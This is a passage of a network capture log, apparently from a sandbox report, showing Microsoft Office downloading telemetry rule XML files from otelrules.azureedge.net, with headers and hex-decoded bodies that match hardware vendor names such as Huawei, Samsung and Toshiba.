2024-12-02 16:56:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:16 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:17 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 264c510b-001e-000b-0eb2-4215a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165617Z-174f7845968xlwnmhC1EWR0sv800000014g000000000mefx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:17 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:16 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:17 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 3f7caad5-701e-006f-6962-43afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165617Z-174f7845968frfdmhC1EWRxxbw00000014rg00000000geew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:17 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:16 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:17 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:17 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165617Z-174f7845968qj8jrhC1EWRh41s00000014mg00000000k3x9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:17 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:19 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:19 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 14e4a643-101e-007a-3c66-40047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165619Z-174f7845968nxc96hC1EWRspw800000014ag00000000wdhf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:19 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:19 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:19 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165619Z-174f7845968zgtf6hC1EWRqd8s0000000xqg000000009406 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:19 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:19 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 3f9ecb84-b01e-0002-696f-401b8f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165619Z-174f7845968nxc96hC1EWRspw800000014d000000000m8xy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:19 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:19 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: e7678828-401e-0078-7a85-434d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165619Z-174f7845968xlwnmhC1EWR0sv800000014fg00000000p5em x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:21 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:21 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2132beec-901e-00ac-46aa-42b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165621Z-174f7845968glpgnhC1EWR7uec00000014xg00000000737c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:21 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:21 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 09e3fb4a-a01e-006f-48a1-4213cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165621Z-174f78459685726chC1EWRsnbg00000014q000000000rf0q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:21 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:21 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:21 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 1e31e9ea-701e-0098-028a-43395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165621Z-174f7845968j6t2phC1EWRcfe800000014x0000000009fh7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:21 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:21 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 16:56:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 16:56:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: c0407c6d-d01e-0082-369d-43e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T165621Z-174f78459685m244hC1EWRgp2c00000014fg00000000nz3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 16:56:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 16:56:21 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
